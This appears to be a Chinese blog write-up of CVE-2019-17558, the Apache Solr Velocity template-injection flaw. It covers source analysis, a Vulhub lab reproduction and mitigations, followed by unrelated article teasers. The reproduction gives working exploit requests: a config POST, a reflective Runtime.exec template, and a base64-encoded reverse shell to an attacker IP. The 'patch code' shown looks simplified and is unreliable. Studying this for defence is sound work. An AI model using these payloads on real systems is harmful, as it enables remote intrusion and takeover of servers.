CVE-2019-17558源码分析与漏洞复现

article/2025/7/21 17:24:51

漏洞概述

漏洞名称:Apache Solr Velocity 模板注入远程命令执行漏洞
漏洞编号:CVE-2019-17558
CVSS 评分:9.8
影响版本:Apache Solr 5.0.0 - 8.3.1
修复版本:Apache Solr ≥ 8.4.0
漏洞类型:远程代码执行(RCE)

CVE-2019-17558 是 Apache Solr 的 VelocityResponseWriter 组件中的高危漏洞。攻击者通过未授权访问 Solr 管理接口,动态启用 params.resource.loader.enabled 配置,注入恶意 Velocity 模板并利用 Nashorn 引擎执行任意 Java 代码,最终实现远程命令执行。漏洞核心问题包括:

  1. 默认配置缺陷params.resource.loader.enabled 默认可被动态启用,允许通过 HTTP 参数加载自定义模板。
  2. 沙箱绕过:Velocity 模板引擎的沙箱限制不充分,攻击者可通过反射调用 java.lang.Runtime 执行系统命令。

技术细节与源码分析

漏洞触发原理
  • 攻击流程
    攻击者 → 启用 params.resource.loader.enabled → 注入恶意 Velocity 模板 → Nashorn 引擎解析 → 反射调用 Runtime.exec() → RCE  
    
  • 关键接口
    • 配置修改:POST /solr/<core>/config
    • 漏洞触发:GET /solr/<core>/select?wt=velocity&v.template.custom=恶意代码
关键源码分析

(1)配置加载入口VelocityResponseWriter.java

@Overridepublic void init(NamedList args) {fileResourceLoaderBaseDir = null;String templateBaseDir = (String) args.get(TEMPLATE_BASE_DIR);if (templateBaseDir != null && !templateBaseDir.isEmpty()) {fileResourceLoaderBaseDir = new File(templateBaseDir).getAbsoluteFile();if (!fileResourceLoaderBaseDir.exists()) { // "*not* exists" condition!log.warn(TEMPLATE_BASE_DIR + " specified does not exist: " + fileResourceLoaderBaseDir);fileResourceLoaderBaseDir = null;} else {if (!fileResourceLoaderBaseDir.isDirectory()) { // "*not* a directory" conditionlog.warn(TEMPLATE_BASE_DIR + " specified is not a directory: " + fileResourceLoaderBaseDir);fileResourceLoaderBaseDir = null;}}}// params resource loader: off by defaultBoolean prle = args.getBooleanArg(PARAMS_RESOURCE_LOADER_ENABLED);paramsResourceLoaderEnabled = (null == prle ? false : prle);// solr resource loader: on by defaultBoolean srle = args.getBooleanArg(SOLR_RESOURCE_LOADER_ENABLED);solrResourceLoaderEnabled = (null == srle ? true : srle);initPropertiesFileName = (String) args.get(PROPERTIES_FILE);NamedList tools = (NamedList)args.get("tools");if (tools != null) {for(Object t : tools) {Map.Entry tool = (Map.Entry)t;customTools.put(tool.getKey().toString(), tool.getValue().toString());}}} 

作用:初始化时未强制关闭参数加载器,允许攻击者通过 API 动态启用 params.resource.loader.enabled

(2)模板解析过程TemplateEngine.java

public Template getTemplate(String name) {  if (paramsLoaderEnabled) {  template = loadFromParams(name); // 从HTTP参数加载自定义模板  }  return template;  
}  

漏洞点:当 params.resource.loader.enabled=true 时,直接解析用户输入的 v.template.custom 参数内容。

(3)沙箱绕过与命令执行
恶意模板通过反射调用 Java API 执行命令:

#set($x='')  
#set($rt=$x.class.forName('java.lang.Runtime'))  
#set($ex=$rt.getRuntime().exec('id')) // 执行系统命令  

技术原理

  • 利用 Velocity 的 #set 指令声明变量。
  • 通过 $x.class.forName() 反射加载 java.lang.Runtime 类。
  • 调用 exec() 执行任意命令并输出结果。

漏洞复现

环境搭建
1.使用 Vulhub 环境启动漏洞靶机
 docker-compose up -d 

在这里插入图片描述

2.访问访问 http://target:8983,确认服务正常运行

在这里插入图片描述

攻击步骤
1.获取核心
  • 默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

在这里插入图片描述

  • 在本环境中,demo 是唯一的核心
2.启用API
  • 通过以下 API 启用 params.resource.loader.enabled 配置(API 端点为 /solr/[核心名称]/config):
POST /solr/demo/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259{"update-queryresponsewriter": {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
}

在这里插入图片描述

3.发送恶意的 Velocity 模板触发漏洞
http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

在这里插入图片描述

  • 执行id命令
4.反弹shell
  • 生成payload
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==bash -i >& /dev/tcp/192.168.1.102/6666 0>&1的base64编码(换成自己攻击机的ip和监听端口)

  • url编码
bash+-c+%7becho%2cYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ%3d%3d%7d%7c%7bbase64%2c-d%7d%7c%7bbash%2c-i%7d%0a
  • 将编码后的payload替换之前的id命令得到最终payload
http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash+-c+%7becho%2cYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ%3d%3d%7d%7c%7bbase64%2c-d%7d%7c%7bbash%2c-i%7d%0a%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
  • 开启监听
    在这里插入图片描述
  • 发起恶意请求后,反弹成功
    在这里插入图片描述

修复方案

官方修复(Solr 8.4.0+)
  • 完全移除参数加载器:删除 params.resource.loader.enabled 功能。
  • 信任链控制:仅允许通过认证用户上传的 configset 渲染模板。
    补丁代码关键变更
// 移除 params.resource.loader 相关代码  
public void init(NamedList args) {  throw new SolrException("Params resource loader is deprecated and removed!");  
}  
临时缓解措施
  1. 禁用 Velocity 响应器solrconfig.xml):
    <queryResponseWriter name="velocity" class="solr.VelocityResponseWriter">  <bool name="params.resource.loader.enabled">false</bool> // 强制关闭参数加载  
    </queryResponseWriter>  
    
  2. 网络层防护
    • 限制 /solr/admin//solr/config 接口的访问来源。
    • WAF 规则拦截包含 v.template.custom 或反射关键字(如 java.lang.Runtime)的请求。

漏洞启示

  1. 模板引擎的安全风险:Velocity/Jinja2 等模板引擎需强制沙箱隔离,禁止反射调用敏感类。
  2. 默认配置的危害:生产环境必须审查 params.resource.loader.enabled 等高风险开关。
  3. 最小权限原则:Solr 服务应以非 root 权限运行,限制命令执行影响范围。

参考链接

  1. CVE-2019-17558 技术原理与复现指南(亿速云)
  2. Vulhub 漏洞环境搭建与利用
  3. Apache Solr 官方修复通告(SOLR-13971)

http://www.hkcw.cn/article/GmFCKtuONv.shtml

相关文章

Linux入门——入门常用基础指令(3)

文章目录 入门常用基础指令(3)grep指令压缩解压打包压缩的必要性zip/unzip指令关于rzsz的操作tar指令(重要) bc指令uname指令shutdown指令history指令几个常用的热键ctrl c和ctrl dctrl rTab按键 入门常用基础指令(3) 入门Linux的常用指令还是比较多的。本篇文章是Linux入门部…

常见压缩算法性能和压缩率对比 LZ4 LZO ZSTD SNAPPY

网传压缩算法对比表 算法压缩率压缩速度解压速度支持流式压缩适用场景LZ4低极快极快是实时数据压缩、日志压缩、内存缓存等Zstandard高快快是文件压缩、网络传输、数据库备份等Brotli很高中等快是静态资源压缩&#xff08;HTML、CSS、JS&#xff09;等LZO低极快快是嵌入式系统…

Tkinter软件——显示txt标签的目标水平边框图像

代码&#xff1a; import tkinter as tk from tkinter import filedialog from tkinter import messagebox import cv2 from PIL import Image, ImageTk import osclass ImageBoxApp:def __init__(self, master):self.master masterself.master.title("Image Box Drawer…

学习vue3阶段性复习(插槽,Pinia,生命周期)

目录 插槽(匿名插槽&#xff0c;具名插槽) 插槽概述 匿名插槽 具名插槽 Pinia(统一管理&#xff0c;共享数据&#xff09; pinia概述 安装和使用Pinia 1 使用命令下载Pinia 2 再main.js中导入&#xff0c;注册到vue框架中 3使用pinia 持久化存储插件 1 第一步&…

创建环境 镜像报错UnavailableInvalidChannel: HTTP 404 NOT FOUND for channel...

报错&#xff1a;Platform: win-64 Collecting package metadata (repodata.json): failed UnavailableInvalidChannel: HTTP 404 NOT FOUND for channel anaconda/pkgs/main <https://mirrors.aliyun.com/anaconda/pkgs/main> The channel is not accessible or is inva…

小狼毫输入法雾凇拼音输入方案辅码由默认的部件拆字/拼音输入方案修改为五笔画方案

搜狗拼音输入法不单单是弹出广告的问题&#xff0c;还有收集输入习惯等隐私的嫌疑。所以最近彻底删除了这个输入法&#xff0c;改安装了小狼毫输入法。关于小狼毫输入法的安装和使用网上已经有了无数文章&#xff0c;我这里就不重复了。在试用多个拼音方案后&#xff0c;最终我…

车载通信网络 --- OSI模型中传输层、会话层、表示层和应用层

我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 做到欲望极简,了解自己的真实欲望,不受外在潮流的影响,不盲从,不跟风。把自己的精力全部用在自己。一是去掉多余,凡事找规律,基础是诚信;二是…

Dify理论+部署+实战

概述 一个功能强大的开源AI应用开发平台&#xff0c;融合后端即服务&#xff08;Backend as Service&#xff09;和LLMOps理念&#xff0c;使开发者能够快速搭建生产级的生成式AI应用。 核心优势 直观的用户界面&#xff1a;提供简洁明了的操作界面&#xff0c;使得用户能够…

Java类和对象详解

文章目录 1.初步认识2.类的定义与实例化2.1 类的定义2.2 类的实例化与使用 3.this关键字4.对象的构造和初始化4.1 默认初始化4.2 就地初始化4.3 构造方法初始化 5.对象的打印6.包的理解6.1 导入包中的类6.2 自定义包6.3 包访问权限 7.封装7.1 访问限定符详解 8.static关键字8.1…

【Go语言】Fyne GUI 库使用指南 (面向有经验开发者)

引言 Fyne 是一个使用 Go 语言编写的、易于使用的跨平台 GUI 工具包和应用程序 API。它旨在通过单一代码库构建在桌面和移动设备上运行的应用程序。本文档面向有一定 Go 语言开发经验的开发者&#xff0c;将详细介绍 Fyne 最新版的核心功能&#xff0c;包括基础组件、布局系统…

1. pytorch手写数字预测

1. pytorch手写数字预测 1.背景2.准备数据集2.定义模型3.dataloader和训练4.训练模型5.测试模型6.保存模型 1.背景 因为自身的研究方向是多模态目标跟踪&#xff0c;突然对其他的视觉方向产生了兴趣&#xff0c;所以心血来潮的回到最经典的视觉任务手写数字预测上来&#xff0…

武警智能兵器室系统架构设计与关键技术解析

在现代化武警部队建设中&#xff0c;武器弹药的安全管理与快速响应能力直接影响部队战斗力。本文基于某实战化智能兵器室建设案例&#xff0c;深入解析其系统架构设计、关键技术实现及创新管理机制&#xff0c;为安防领域提供可借鉴的解决方案。 整体拓扑结构 系统采用分层分布…

HTML5 列表、表格与媒体元素、页面结构分析

1. 列表 无序列表 有序列表 定义列表 列表对比 2. 表格 跨列 跨行 跨行和跨列 3. HTML5的媒体元素 视频元素 注意&#xff1a;autoplay现在很多浏览器不支持了&#xff01; 音频元素 4. 页面结构分析 5. 总结

中文文本分析及词云生成

一、代码解析&#xff08;按执行顺序&#xff09; 1. 库导入 import jieba # 中文分词工具 from wordcloud import WordCloud # 词云生成器 from collections import Counter # 词频统计 import matplotlib.pyplot as plt # 可视化 import numpy as np # 图像矩阵处理 f…

芯片手册解读

一&#xff1a; 1.这是一款差分转单端的芯片&#xff1a; 2.给出了逻辑高低的识别门限&#xff1a;并不是大于100mv和小于-100mv就识别不到了——而是大于100mv和小于-100mv都可以识别到&#xff0c;手册的意思仅仅代表门限节点而已&#xff0c;完全可以在进入门限后的其他电…

LangChain-Tool和Agent结合智谱AI大模型应用实例2

1.Tool(工具) 定义与功能 单一功能模块:Tool是完成特定任务的独立工具,每个工具专注于一项具体的操作,例如:搜索、计算、API调用等 无决策能力:工具本身不决定何时被调用,仅在被触发时执行预设操作 输入输出明确:每个工具需明确定义输入、输出参数及格式 2.Agent(…

专业级图片分割解决方案

在日常处理图片的过程中&#xff0c;我们常常会遇到需要将一张图分割成多个小图的情况。这一款高效又实用的图片分割工具——它操作简单、功能强大&#xff0c;关键是完全免费开源&#xff0c;适合所有有图像处理需求的朋友&#xff01; 在使用之前&#xff0c;先花几分钟把它…

Re--题

一&#xff0e;[NSSCTF 2022 Spring Recruit]easy C 直接看for循环&#xff0c;异或 写代码 就得到了flag easy_Re 二&#xff0e;[SWPUCTF 2021 新生赛]非常简单的逻辑题 先对这段代码进行分析 flag xxxxxxxxxxxxxxxxxxxxx s wesyvbniazxchjko1973652048$-&*&l…

iOS 集成网易云信IM

云信官方文档在这 看官方文档的时候&#xff0c;版本选择最新的V10。 1、CocoPods集成 pod NIMSDK_LITE 2、AppDelegate.m添加头文件 #import <NIMSDK/NIMSDK.h> 3、初始化 NIMSDKOption *mrnn_option [NIMSDKOption optionWithAppKey:"6f6568e354026d2d658a…

边缘计算网关支撑医院供暖系统高效运维的本地化计算与边缘决策

一、项目背景 医院作为人员密集的特殊场所&#xff0c;对供暖系统的稳定性和高效性有着极高的要求。其供暖换热站传统的人工现场监控方式存在诸多弊端&#xff0c;如人员值守成本高、数据记录不及时不准确、故障发现和处理滞后、能耗难以有效监测和控制等&#xff0c;难以满足…